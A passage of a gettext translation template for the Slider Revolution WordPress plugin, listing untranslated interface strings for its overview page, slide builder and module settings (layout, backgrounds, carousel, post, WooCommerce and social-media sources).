Environment" msgstr "" #: admin/views/modals-overview.php:79 msgid "Default Desktop Content Width" msgstr "" #: admin/views/modals-overview.php:80 msgid "Default Notebook Content Width" msgstr "" #: admin/views/modals-overview.php:81 msgid "Default Tablet Content Width" msgstr "" #: admin/views/modals-overview.php:82 msgid "Default Mobile Content Width" msgstr "" #: admin/views/modals-overview.php:84 msgid "Fix RS Table Issues" msgstr "" #: admin/views/modals-overview.php:84 msgid "Force RS DB Creation" msgstr "" #: admin/views/modals-overview.php:88 msgid "Save Global Settings" msgstr "" #: admin/views/overview.php:20 msgid "Good Evening " msgstr "" #: admin/views/overview.php:22 msgid "Good Morning " msgstr "" #: admin/views/overview.php:24 msgid "Good Afternoon " msgstr "" #: admin/views/overview.php:39 msgid "Modules" msgstr "" #: admin/views/overview.php:40 msgid "Updates" msgstr "" #: admin/views/overview.php:41 msgid "Activation" msgstr "" #: admin/views/overview.php:42 msgid "News" msgstr "" #: admin/views/overview.php:43 msgid "Globals" msgstr "" #: admin/views/overview.php:44 msgid "FAQ's" msgstr "" #: admin/views/overview.php:45 msgid "Support" msgstr "" #: admin/views/overview.php:52 msgid "You are running Slider Revolution " msgstr "" #: admin/views/overview.php:56 msgid "New Blank Module" msgstr "" #: admin/views/overview.php:57 msgid "New Module from Template" msgstr "" #: admin/views/overview.php:58 msgid "Manual Import" msgstr "" #: admin/views/overview.php:59 msgid "AddOns" msgstr "" #: admin/views/overview.php:65 msgid "Search Modules..." msgstr "" #: admin/views/overview.php:68 msgid "Show all Modules" msgstr "" #: admin/views/overview.php:69 msgid "Add Folder" msgstr "" #: admin/views/overview.php:78 msgid "Show All" msgstr "" #: admin/views/overview.php:92 msgid "Plugin Updates" msgstr "" #: admin/views/overview.php:100 msgid "Sytem Requirements" msgstr "" #: admin/views/overview.php:102 msgid "Upload folder writable" msgstr "" #: admin/views/overview.php:103 msgid "Memory Limit (256M)" msgstr "" #: admin/views/overview.php:104 msgid "Upload Max. Filesize (256M)" msgstr "" #: admin/views/overview.php:105 msgid "Max. Post Size (256M)" msgstr "" #: admin/views/overview.php:106 msgid "ThemePunch Server" msgstr "" #: admin/views/overview.php:107 admin/views/builder.php:111 #: admin/views/builder.php:121 admin/views/builder-slider-forms.php:331 #: admin/views/builder-slide-forms.php:53 #: admin/views/builder-slide-forms.php:65 #: admin/views/builder-slide-forms.php:72 #: admin/views/builder-slide-forms.php:78 #: admin/views/builder-slide-forms.php:83 #: admin/views/builder-layer-forms.php:174 #: admin/views/builder-layer-forms.php:220 #: admin/views/builder-layer-forms.php:263 msgid "Object Library" msgstr "" #: admin/views/overview.php:113 msgid "Update History" msgstr "" #: admin/views/overview.php:126 msgid "Find My Code" msgstr "" #: admin/views/overview.php:130 msgid "xxxx xxxx xxxx xxxx" msgstr "" #: admin/views/overview.php:131 msgid "Enter Purchase Code" msgstr "" #: admin/views/overview.php:137 msgid "1 Purchase Code per Website" msgstr "" #: admin/views/overview.php:138 msgid "" "If you want to use Slider Revolution on another domain, please purchase another license" msgstr "" #: admin/views/overview.php:143 msgid "Register to unlock all Premium Features" msgstr "" #: admin/views/overview.php:148 admin/views/overview.php:152 #: admin/views/overview.php:156 admin/views/overview.php:160 #: admin/views/overview.php:164 msgid "Register to Unlock" msgstr "" #: admin/views/overview.php:175 msgid "Connect with ThemePunch" msgstr "" #: admin/views/overview.php:176 msgid "Youtube" msgstr "" #: admin/views/overview.php:178 admin/views/builder-slider-forms.php:467 msgid "Twitter" msgstr "" #: admin/views/overview.php:180 admin/views/builder-slider-forms.php:468 msgid "Facebook" msgstr "" #: admin/views/overview.php:182 admin/views/builder-slider-forms.php:466 msgid "Instagram" msgstr "" #: admin/views/overview.php:184 msgid "Dribbble" msgstr "" #: admin/views/overview.php:186 msgid "Sign up to our Newsletter" msgstr "" #: admin/views/overview.php:187 msgid "Enter your Email" msgstr "" #: admin/views/overview.php:189 msgid "Sign Up" msgstr "" #: admin/views/overview.php:192 msgid "Updates, New Products, Spotlights" msgstr "" #: admin/views/overview.php:193 msgid "" "Get access to the latest News from ThemePunch. We promise to never send you " "Spam!" msgstr "" #: admin/views/overview.php:199 msgid "Whats New?" msgstr "" #: admin/views/builder.php:48 admin/views/builder.php:201 msgid "Desktop" msgstr "" #: admin/views/builder.php:49 admin/views/builder.php:202 msgid "Notebook" msgstr "" #: admin/views/builder.php:50 admin/views/builder.php:203 msgid "Tablet" msgstr "" #: admin/views/builder.php:51 admin/views/builder.php:204 msgid "Mobile" msgstr "" #: admin/views/builder.php:67 admin/views/builder.php:82 #: admin/views/builder-slider-forms.php:690 msgid "Slides" msgstr "" #: admin/views/builder.php:81 admin/views/builder-slide-forms.php:490 msgid "Back" msgstr "" #: admin/views/builder.php:85 msgid "Add Slide(s)" msgstr "" #: admin/views/builder.php:87 msgid "Blank slide" msgstr "" #: admin/views/builder.php:88 msgid "Bulk Slide" msgstr "" #: admin/views/builder.php:89 msgid "Slide From Template" msgstr "" #: admin/views/builder.php:98 msgid "Add Layer" msgstr "" #: admin/views/builder.php:101 admin/views/builder-layer-forms.php:1554 msgid "Text" msgstr "" #: admin/views/builder.php:103 msgid "Quick Style Headline" msgstr "" #: admin/views/builder.php:104 msgid "Quick Style Content" msgstr "" #: admin/views/builder.php:108 admin/views/builder-slide-forms.php:45 msgid "Image" msgstr "" #: admin/views/builder.php:110 admin/views/builder.php:120 msgid "WordPress Library" msgstr "" #: admin/views/builder.php:112 admin/views/builder.php:122 msgid "Empty Placeholder" msgstr "" #: admin/views/builder.php:115 msgid "Button" msgstr "" #: admin/views/builder.php:116 msgid "Shape" msgstr "" #: admin/views/builder.php:118 msgid "Video" msgstr "" #: admin/views/builder.php:125 admin/views/builder-layer-forms.php:203 msgid "Audio" msgstr "" #: admin/views/builder.php:126 msgid "Icon / SVG" msgstr "" #: admin/views/builder.php:127 msgid "Row" msgstr "" #: admin/views/builder.php:128 admin/views/builder-slider-forms.php:843 #: admin/views/builder-slider-forms.php:853 msgid "Group" msgstr "" #: admin/views/builder.php:129 msgid "Layer Library" msgstr "" #: admin/views/builder.php:130 msgid "Import Layer" msgstr "" #: admin/views/builder.php:136 msgid "Multiple Selection" msgstr "" #: admin/views/builder.php:137 msgid "No Layers Selected" msgstr "" #: admin/views/builder.php:150 msgid "Lock/Unlock Selected" msgstr "" #: admin/views/builder.php:151 msgid "Unlock All" msgstr "" #: admin/views/builder.php:157 msgid "Hide Highlight Boxes" msgstr "" #: admin/views/builder.php:157 msgid "Show Highlight Boxes" msgstr "" #: admin/views/builder.php:158 msgid "Show/Hide Selected" msgstr "" #: admin/views/builder.php:159 msgid "Set All Visible" msgstr "" #: admin/views/builder.php:179 msgid "Single Select" msgstr "" #: admin/views/builder.php:180 msgid "Add to Selection" msgstr "" #: admin/views/builder.php:181 msgid "Drag to Select" msgstr "" #: admin/views/builder.php:190 msgid "Open Document" msgstr "" #: admin/views/builder.php:209 msgid "Quick Style" msgstr "" #: admin/views/builder.php:302 admin/views/builder-slider-forms.php:1264 #: admin/views/builder-nav-forms.php:229 admin/views/builder-nav-forms.php:369 #: admin/views/builder-nav-forms.php:556 admin/views/builder-nav-forms.php:740 msgid "Save" msgstr "" #: admin/views/builder.php:323 msgid "" "The Current Size is set to \"Auto Size\". Do you want to continue with " "Custom Size?" msgstr "" #: admin/views/builder-slider-forms.php:55 #: admin/views/builder-slider-forms.php:194 msgid "Layout" msgstr "" #: admin/views/builder-slider-forms.php:56 #: admin/views/builder-slider-forms.php:202 #: admin/views/builder-nav-forms.php:832 msgid "Carousel" msgstr "" #: admin/views/builder-slider-forms.php:58 msgid "Defaults" msgstr "" #: admin/views/builder-slider-forms.php:59 msgid "General" msgstr "" #: admin/views/builder-slider-forms.php:60 #: admin/views/builder-slide-forms.php:30 #: admin/views/builder-layer-forms.php:35 #: admin/views/builder-layer-forms.php:795 msgid "On Scroll" msgstr "" #: admin/views/builder-slider-forms.php:61 #: admin/views/builder-slider-forms.php:97 msgid "Spinner" msgstr "" #: admin/views/builder-slider-forms.php:63 #: admin/views/builder-layer-forms.php:1161 msgid "Advanced" msgstr "" #: admin/views/builder-slider-forms.php:65 msgid "As Modal" msgstr "" #: admin/views/builder-slider-forms.php:74 msgid "Module Naming" msgstr "" #: admin/views/builder-slider-forms.php:76 msgid "Enter a Module name" msgstr "" #: admin/views/builder-slider-forms.php:77 #: admin/includes/shortcode_generator/shortcode_generator.class.php:226 msgid "Alias" msgstr "" #: admin/views/builder-slider-forms.php:77 msgid "enter-a-module-name" msgstr "" #: admin/views/builder-slider-forms.php:78 #: admin/views/builder-slider-forms.php:172 msgid "Shortcode" msgstr "" #: admin/views/builder-slider-forms.php:79 #: admin/views/builder-slider-forms.php:173 msgid "Copy Shortcode" msgstr "" #: admin/views/builder-slider-forms.php:83 #: admin/views/builder-slide-forms.php:428 msgid "" "Place the shortcode on the page or post where you want to show this module." msgstr "" #: admin/views/builder-slider-forms.php:95 msgid "Spinner Settings" msgstr "" #: admin/views/builder-slider-forms.php:119 msgid "Spinner Color" msgstr "" #: admin/views/builder-slider-forms.php:142 msgid "Slider as Modal" msgstr "" #: admin/views/builder-slider-forms.php:146 #: admin/views/builder-slider-forms.php:302 #: admin/views/builder-slider-forms.php:404 #: admin/views/builder-nav-forms.php:90 admin/views/builder-nav-forms.php:145 #: admin/views/builder-nav-forms.php:287 admin/views/builder-nav-forms.php:443 #: admin/views/builder-nav-forms.php:626 #: admin/views/builder-layer-forms.php:325 #: admin/views/builder-layer-forms.php:326 #: admin/views/builder-layer-forms.php:439 #: admin/views/builder-layer-forms.php:631 #: admin/views/builder-layer-forms.php:1276 #: admin/views/builder-layer-forms.php:1300 #: admin/views/builder-layer-forms.php:1321 msgid "Left" msgstr "" #: admin/views/builder-slider-forms.php:146 #: admin/views/builder-slider-forms.php:147 #: admin/views/builder-slider-forms.php:303 #: admin/views/builder-slider-forms.php:404 #: admin/views/builder-slider-forms.php:405 #: admin/views/builder-nav-forms.php:90 admin/views/builder-nav-forms.php:91 #: admin/views/builder-nav-forms.php:145 admin/views/builder-nav-forms.php:146 #: admin/views/builder-nav-forms.php:287 admin/views/builder-nav-forms.php:288 #: admin/views/builder-nav-forms.php:443 admin/views/builder-nav-forms.php:444 #: admin/views/builder-nav-forms.php:626 admin/views/builder-nav-forms.php:627 #: admin/views/builder-layer-forms.php:439 #: admin/views/builder-layer-forms.php:440 #: admin/views/builder-layer-forms.php:631 #: admin/views/builder-layer-forms.php:1277 #: admin/views/builder-layer-forms.php:1282 #: admin/views/builder-layer-forms.php:1301 #: admin/views/builder-layer-forms.php:1306 #: admin/views/builder-layer-forms.php:1308 #: admin/views/builder-layer-forms.php:1322 #: admin/views/builder-layer-forms.php:1325 #: admin/views/builder-layer-forms.php:1327 msgid "Center" msgstr "" #: admin/views/builder-slider-forms.php:146 #: admin/views/builder-slider-forms.php:304 #: admin/views/builder-slider-forms.php:404 #: admin/views/builder-nav-forms.php:90 admin/views/builder-nav-forms.php:145 #: admin/views/builder-nav-forms.php:287 admin/views/builder-nav-forms.php:443 #: admin/views/builder-nav-forms.php:626 #: admin/views/builder-layer-forms.php:325 #: admin/views/builder-layer-forms.php:326 #: admin/views/builder-layer-forms.php:439 #: admin/views/builder-layer-forms.php:631 #: admin/views/builder-layer-forms.php:1278 #: admin/views/builder-layer-forms.php:1304 #: admin/views/builder-layer-forms.php:1323 msgid "Right" msgstr "" #: admin/views/builder-slider-forms.php:147 #: admin/views/builder-slider-forms.php:405 #: admin/views/builder-slider-forms.php:1183 #: admin/views/builder-nav-forms.php:45 admin/views/builder-nav-forms.php:91 #: admin/views/builder-nav-forms.php:146 admin/views/builder-nav-forms.php:288 #: admin/views/builder-nav-forms.php:444 admin/views/builder-nav-forms.php:627 #: admin/views/builder-layer-forms.php:440 #: admin/views/builder-layer-forms.php:632 #: admin/views/builder-layer-forms.php:1281 #: admin/views/builder-layer-forms.php:1305 #: admin/views/builder-layer-forms.php:1324 msgid "Top" msgstr "" #: admin/views/builder-slider-forms.php:147 #: admin/views/builder-slider-forms.php:405 #: admin/views/builder-slider-forms.php:1184 #: admin/views/builder-nav-forms.php:45 admin/views/builder-nav-forms.php:91 #: admin/views/builder-nav-forms.php:146 admin/views/builder-nav-forms.php:288 #: admin/views/builder-nav-forms.php:444 admin/views/builder-nav-forms.php:627 #: admin/views/builder-layer-forms.php:440 #: admin/views/builder-layer-forms.php:632 #: admin/views/builder-layer-forms.php:1283 #: admin/views/builder-layer-forms.php:1307 #: admin/views/builder-layer-forms.php:1326 msgid "Bottom" msgstr "" #: admin/views/builder-slider-forms.php:149 #: admin/views/builder-slider-forms.php:336 #: admin/views/builder-nav-forms.php:45 admin/views/builder-nav-forms.php:251 #: admin/views/builder-nav-forms.php:268 admin/views/builder-nav-forms.php:397 #: admin/views/builder-nav-forms.php:416 admin/views/builder-nav-forms.php:580 #: admin/views/builder-nav-forms.php:599 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:579 msgid "Position" msgstr "" #: admin/views/builder-slider-forms.php:155 msgid "Use Cover" msgstr "" #: admin/views/builder-slider-forms.php:161 msgid "Cover Color" msgstr "" #: admin/views/builder-slider-forms.php:165 msgid "Body Class" msgstr "" #: admin/views/builder-slider-forms.php:168 msgid "Toggle Document Body Class on Open and Close of the Modal." msgstr "" #: admin/views/builder-slider-forms.php:177 msgid "" "Place the shortcode on the page or post where you want to show this modal." msgstr "" #: admin/views/builder-slider-forms.php:189 msgid "Slider Layout" msgstr "" #: admin/views/builder-slider-forms.php:198 #: admin/views/builder-slider-forms.php:475 admin/views/modals-builder.php:322 #: admin/views/builder-slide-forms.php:45 #: admin/views/builder-slide-forms.php:526 #: admin/views/builder-layer-forms.php:198 #: admin/views/builder-layer-forms.php:1269 msgid "Type" msgstr "" #: admin/views/builder-slider-forms.php:200 #: admin/views/builder-slider-forms.php:948 #: admin/views/builder-nav-forms.php:612 msgid "Slider" msgstr "" #: admin/views/builder-slider-forms.php:201 #: admin/views/builder-layer-forms.php:469 msgid "Scene" msgstr "" #: admin/views/builder-slider-forms.php:208 msgid "Sizing" msgstr "" #: admin/views/builder-slider-forms.php:210 msgid "Auto" msgstr "" #: admin/views/builder-slider-forms.php:211 msgid "Full-Width" msgstr "" #: admin/views/builder-slider-forms.php:212 msgid "Full-Screen" msgstr "" #: admin/views/builder-slider-forms.php:221 msgid "Layer Area Size" msgstr "" #: admin/views/builder-slider-forms.php:224 #: admin/views/builder-slider-forms.php:232 #: admin/views/builder-slider-forms.php:240 #: admin/views/builder-slider-forms.php:248 msgid "Browser Width" msgstr "" #: admin/views/builder-slider-forms.php:260 msgid "Decrease Module Height" msgstr "" #: admin/views/builder-slider-forms.php:262 msgid "by Container" msgstr "" #: admin/views/builder-slider-forms.php:262 msgid "Enter Container .class or #id" msgstr "" #: admin/views/builder-slider-forms.php:264 msgid "by PX or %" msgstr "" #: admin/views/builder-slider-forms.php:266 msgid "Dont Force Fullwidth" msgstr "" #: admin/views/builder-slider-forms.php:273 #: admin/views/builder-slider-forms.php:1202 msgid "Advanced Settings" msgstr "" #: admin/views/builder-slider-forms.php:277 msgid "Max Width" msgstr "" #: admin/views/builder-slider-forms.php:278 msgid "Min Height" msgstr "" #: admin/views/builder-slider-forms.php:279 msgid "Wrapper Max Height" msgstr "" #: admin/views/builder-slider-forms.php:282 msgid "Keep Breakpoint Heights" msgstr "" #: admin/views/builder-slider-forms.php:283 msgid "Respect Ratio" msgstr "" #: admin/views/builder-slider-forms.php:284 msgid "Grid = Module" msgstr "" #: admin/views/builder-slider-forms.php:286 msgid "Force Overflow Visible" msgstr "" #: admin/views/builder-slider-forms.php:287 msgid "Fixed on Top" msgstr "" #: admin/views/builder-slider-forms.php:297 msgid "Module Position within Wrapper" msgstr "" #: admin/views/builder-slider-forms.php:300 msgid "Align" msgstr "" #: admin/views/builder-slider-forms.php:320 msgid "Module Background" msgstr "" #: admin/views/builder-slider-forms.php:323 msgid "Use Image" msgstr "" #: admin/views/builder-slider-forms.php:326 #: admin/views/builder-slide-forms.php:59 #: admin/views/builder-layer-forms.php:564 #: admin/views/builder-layer-forms.php:1017 msgid "BG Color" msgstr "" #: admin/views/builder-slider-forms.php:329 #: admin/views/builder-layer-forms.php:568 msgid "BG Image" msgstr "" #: admin/views/builder-slider-forms.php:329 msgid "Enter External URL" msgstr "" #: admin/views/builder-slider-forms.php:330 #: admin/views/builder-slider-forms.php:1229 #: admin/views/builder-slide-forms.php:52 #: admin/views/builder-slide-forms.php:64 #: admin/views/builder-slide-forms.php:71 #: admin/views/builder-slide-forms.php:77 #: admin/views/builder-slide-forms.php:82 #: admin/views/builder-slide-forms.php:173 #: admin/views/builder-slide-forms.php:185 #: admin/views/builder-layer-forms.php:173 #: admin/views/builder-layer-forms.php:215 #: admin/views/builder-layer-forms.php:219 #: admin/views/builder-layer-forms.php:262 msgid "Media Library" msgstr "" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "left center" msgstr "" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "left bottom" msgstr "" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "left top" msgstr "" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "center top" msgstr "" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "center center" msgstr "" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "center bottom" msgstr "" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "right top" msgstr "" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "right center" msgstr "" #: admin/views/builder-slider-forms.php:333 admin/views/modals-builder.php:274 #: admin/views/builder-slide-forms.php:138 #: admin/views/builder-layer-forms.php:576 msgid "right bottom" msgstr "" #: admin/views/builder-slider-forms.php:365 msgid "Border, Overlay & Shadow" msgstr "" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "Overlay" msgstr "" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "none" msgstr "" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "2 x 2 Black" msgstr "" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "2 x 2 White" msgstr "" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "3 x 3 Black" msgstr "" #: admin/views/builder-slider-forms.php:368 #: admin/views/builder-slide-forms.php:206 #: admin/views/builder-layer-forms.php:243 msgid "3 x 3 White" msgstr "" #: admin/views/builder-slider-forms.php:370 msgid "Shadow Type" msgstr "" #: admin/views/builder-slider-forms.php:370 msgid "No Shadow" msgstr "" #: admin/views/builder-slider-forms.php:372 msgid "Gap (Border)" msgstr "" #: admin/views/builder-slider-forms.php:382 msgid "Caraousel" msgstr "" #: admin/views/builder-slider-forms.php:385 msgid "Carousel Layout" msgstr "" #: admin/views/builder-slider-forms.php:388 msgid "Infinity Scroll" msgstr "" #: admin/views/builder-slider-forms.php:389 msgid "Layers Visible" msgstr "" #: admin/views/builder-slider-forms.php:391 msgid "Max. Visible" msgstr "" #: admin/views/builder-slider-forms.php:393 msgid "Stretch Slides" msgstr "" #: admin/views/builder-slider-forms.php:411 #: admin/views/builder-nav-forms.php:122 admin/views/builder-nav-forms.php:175 #: admin/views/builder-nav-forms.php:322 admin/views/builder-nav-forms.php:511 #: admin/views/builder-nav-forms.php:693 admin/views/builder-slide-forms.php:21 #: admin/views/builder-slide-forms.php:383 #: admin/views/builder-layer-forms.php:32 #: admin/views/builder-layer-forms.php:1101 #: admin/views/builder-layer-forms.php:1586 msgid "Animation" msgstr "" #: admin/views/builder-slider-forms.php:413 #: admin/views/builder-slider-forms.php:1057 #: admin/views/builder-slide-forms.php:461 #: admin/views/builder-layer-forms.php:1136 msgid "Easing" msgstr "" #: admin/views/builder-slider-forms.php:414 msgid "Ease Speed" msgstr "" #: admin/views/builder-slider-forms.php:419 #: admin/views/builder-slider-forms.php:1042 #: admin/views/builder-layer-forms.php:1596 msgid "Effects" msgstr "" #: admin/views/builder-slider-forms.php:422 #: admin/views/builder-slider-forms.php:1170 #: admin/views/builder-nav-forms.php:123 admin/views/builder-nav-forms.php:176 #: admin/views/builder-nav-forms.php:323 admin/views/builder-nav-forms.php:512 #: admin/views/builder-nav-forms.php:694 #: admin/views/builder-slide-forms.php:295 msgid "Fade" msgstr "" #: admin/views/builder-slider-forms.php:428 msgid "Rotation" msgstr "" #: admin/views/builder-slider-forms.php:435 #: admin/views/builder-layer-forms.php:1663 msgid "Scale" msgstr "" #: admin/views/builder-slider-forms.php:460 #: admin/views/builder-slider-forms.php:693 #: admin/views/builder-slider-forms.php:775 #: admin/views/builder-slider-forms.php:810 #: admin/views/builder-slider-forms.php:840 #: admin/views/builder-slide-forms.php:42 #: admin/views/builder-slide-forms.php:56 msgid "Source" msgstr "" #: admin/views/builder-slider-forms.php:463 msgid "Post-Based" msgstr "" #: admin/views/builder-slider-forms.php:464 admin/views/modals-builder.php:524 #: admin/views/modals-builder.php:577 msgid "WooCommerce" msgstr "" #: admin/views/builder-slider-forms.php:465 msgid "Flickr" msgstr "" #: admin/views/builder-slider-forms.php:469 msgid "YouTube" msgstr "" #: admin/views/builder-slider-forms.php:470 msgid "Vimeo" msgstr "" #: admin/views/builder-slider-forms.php:477 admin/views/modals-builder.php:523 #: admin/views/modals-builder.php:541 msgid "Post" msgstr "" #: admin/views/builder-slider-forms.php:478 msgid "Specific Post" msgstr "" #: admin/views/builder-slider-forms.php:479 msgid "Current Post" msgstr "" #: admin/views/builder-slider-forms.php:490 msgid "Post Selection" msgstr "" #: admin/views/builder-slider-forms.php:494 msgid "Fetch By" msgstr "" #: admin/views/builder-slider-forms.php:495 msgid "Categories & Tags" msgstr "" #: admin/views/builder-slider-forms.php:496 msgid "Related" msgstr "" #: admin/views/builder-slider-forms.php:497 msgid "Popular" msgstr "" #: admin/views/builder-slider-forms.php:498 msgid "Recent" msgstr "" #: admin/views/builder-slider-forms.php:499 msgid "Next / Previous" msgstr "" #: admin/views/builder-slider-forms.php:502 msgid "Post Types:" msgstr "" #: admin/views/builder-slider-forms.php:511 msgid "Categories:" msgstr "" #: admin/views/builder-slider-forms.php:527 msgid "Specific Posts" msgstr "" #: admin/views/builder-slider-forms.php:527 msgid "coma separated list | ex: 23,24,25" msgstr "" #: admin/views/builder-slider-forms.php:528 msgid "Popular Posts" msgstr "" #: admin/views/builder-slider-forms.php:529 msgid "Recent Posts" msgstr "" #: admin/views/builder-slider-forms.php:537 msgid "Sorting & Settings" msgstr "" #: admin/views/builder-slider-forms.php:541 msgid "Sort Posts By:" msgstr "" #: admin/views/builder-slider-forms.php:542 #: admin/views/builder-slider-forms.php:660 admin/views/modals-builder.php:545 #: admin/views/modals-builder.php:545 msgid "Post ID" msgstr "" #: admin/views/builder-slider-forms.php:543 #: admin/views/builder-slider-forms.php:661 msgid "Date" msgstr "" #: admin/views/builder-slider-forms.php:545 #: admin/views/builder-slider-forms.php:663 msgid "Slug" msgstr "" #: admin/views/builder-slider-forms.php:546 #: admin/views/builder-slider-forms.php:664 msgid "Author" msgstr "" #: admin/views/builder-slider-forms.php:547 #: admin/views/builder-slider-forms.php:665 msgid "Last Modified" msgstr "" #: admin/views/builder-slider-forms.php:548 #: admin/views/builder-slider-forms.php:666 msgid "Number Of Comments" msgstr "" #: admin/views/builder-slider-forms.php:549 #: admin/views/builder-slider-forms.php:667 #: admin/views/builder-layer-forms.php:1344 #: admin/views/builder-layer-forms.php:1414 #: admin/views/builder-layer-forms.php:1484 msgid "Random" msgstr "" #: admin/views/builder-slider-forms.php:550 #: admin/views/builder-slider-forms.php:668 msgid "Unsorted" msgstr "" #: admin/views/builder-slider-forms.php:551 #: admin/views/builder-slider-forms.php:669 msgid "Custom Order" msgstr "" #: admin/views/builder-slider-forms.php:565 #: admin/views/builder-slider-forms.php:671 msgid "Sort Direction" msgstr "" #: admin/views/builder-slider-forms.php:567 #: admin/views/builder-slider-forms.php:673 msgid "Descending" msgstr "" #: admin/views/builder-slider-forms.php:568 #: admin/views/builder-slider-forms.php:674 msgid "Ascending" msgstr "" #: admin/views/builder-slider-forms.php:572 #: admin/views/builder-slider-forms.php:677 msgid "Max Posts" msgstr "" #: admin/views/builder-slider-forms.php:573 #: admin/views/builder-slider-forms.php:678 msgid "Limit Excerpt" msgstr "" #: admin/views/builder-slider-forms.php:587 msgid "No further source settings needed. Content is created manually." msgstr "" #: admin/views/builder-slider-forms.php:597 msgid "Types & Categories" msgstr "" #: admin/views/builder-slider-forms.php:601 msgid "Types" msgstr "" #: admin/views/builder-slider-forms.php:613 msgid "Product Categories" msgstr "" #: admin/views/builder-slider-forms.php:632 #: admin/views/builder-slide-forms.php:22 #: admin/views/builder-slide-forms.php:321 #: admin/views/builder-slide-forms.php:324 msgid "Filters" msgstr "" #: admin/views/builder-slider-forms.php:636 #: admin/views/builder-slider-forms.php:640 msgid "From" msgstr "" #: admin/views/builder-slider-forms.php:637 #: admin/views/builder-slider-forms.php:641 msgid "To" msgstr "" #: admin/views/builder-slider-forms.php:643 msgid "In Stock Only" msgstr "" #: admin/views/builder-slider-forms.php:644 msgid "Featured Only" msgstr "" #: admin/views/builder-slider-forms.php:649 msgid "Sorting & Limitations" msgstr "" #: admin/views/builder-slider-forms.php:652 msgid "Sort Prod. By" msgstr "" #: admin/views/builder-slider-forms.php:687 msgid "Flickr Settings" msgstr "" #: admin/views/builder-slider-forms.php:690 #: admin/views/builder-slider-forms.php:728 #: admin/views/builder-slider-forms.php:746 #: admin/views/builder-slider-forms.php:772 #: admin/views/builder-slider-forms.php:800 #: admin/views/builder-slider-forms.php:838 msgid "Amount of Slides" msgstr "" #: admin/views/builder-slider-forms.php:691 #: admin/views/builder-slider-forms.php:747 #: admin/views/builder-slider-forms.php:773 #: admin/views/builder-slider-forms.php:801 #: admin/views/builder-slider-forms.php:839 msgid "Cache (sec)" msgstr "" #: admin/views/builder-slider-forms.php:691 #: admin/views/builder-slider-forms.php:729 #: admin/views/builder-slider-forms.php:747 #: admin/views/builder-slider-forms.php:773 #: admin/views/builder-slider-forms.php:801 #: admin/views/builder-slider-forms.php:839 msgid "i.e. 1200" msgstr "" #: admin/views/builder-slider-forms.php:692 #: admin/views/builder-slider-forms.php:802 msgid "API Key" msgstr "" #: admin/views/builder-slider-forms.php:692 msgid "Enter your Api Key" msgstr "" #: admin/views/builder-slider-forms.php:694 #: admin/views/builder-slider-forms.php:731 msgid "Display a user's public photos" msgstr "" #: admin/views/builder-slider-forms.php:694 #: admin/views/builder-slider-forms.php:731 msgid "User Public Photos" msgstr "" #: admin/views/builder-slider-forms.php:695 msgid "Display a certain photoset from a user" msgstr "" #: admin/views/builder-slider-forms.php:695 msgid "User Photoset" msgstr "" #: admin/views/builder-slider-forms.php:696 msgid "Display a gallery" msgstr "" #: admin/views/builder-slider-forms.php:696 msgid "Gallery" msgstr "" #: admin/views/builder-slider-forms.php:697 msgid "Display a group's photos" msgstr "" #: admin/views/builder-slider-forms.php:697 msgid "Groups' Photos" msgstr "" #: admin/views/builder-slider-forms.php:700 msgid "User URL:" msgstr "" #: admin/views/builder-slider-forms.php:700 msgid "Enter User URL" msgstr "" #: admin/views/builder-slider-forms.php:702 msgid "Photoset" msgstr "" #: admin/views/builder-slider-forms.php:702 msgid "Pick an Item" msgstr "" #: admin/views/builder-slider-forms.php:706 msgid "Gallery URL" msgstr "" #: admin/views/builder-slider-forms.php:706 msgid "Enter Gallery URL" msgstr "" #: admin/views/builder-slider-forms.php:709 msgid "Group URL" msgstr "" #: admin/views/builder-slider-forms.php:709 msgid "Enter Group URL" msgstr "" #: admin/views/builder-slider-forms.php:714 msgid "" "Read " "here how to receive your Flickr API key" msgstr "" #: admin/views/builder-slider-forms.php:725 msgid "Instagram Settings" msgstr "" #: admin/views/builder-slider-forms.php:728 msgid "Slides:" msgstr "" #: admin/views/builder-slider-forms.php:729 msgid "Cache (sec):" msgstr "" #: admin/views/builder-slider-forms.php:730 msgid "Source:" msgstr "" #: admin/views/builder-slider-forms.php:733 msgid "User Name:" msgstr "" #: admin/views/builder-slider-forms.php:733 #: admin/views/builder-slider-forms.php:847 msgid "Enter User Name" msgstr "" #: admin/views/builder-slider-forms.php:743 msgid "Twitter Settings" msgstr "" #: admin/views/builder-slider-forms.php:746 msgid "Slides (<500)" msgstr "" #: admin/views/builder-slider-forms.php:748 msgid "Twitter @" msgstr "" #: admin/views/builder-slider-forms.php:748 msgid "Enter Twitter Name" msgstr "" #: admin/views/builder-slider-forms.php:749 msgid "Text Tweets" msgstr "" #: admin/views/builder-slider-forms.php:750 msgid "ReTweets" msgstr "" #: admin/views/builder-slider-forms.php:751 msgid "Replies" msgstr 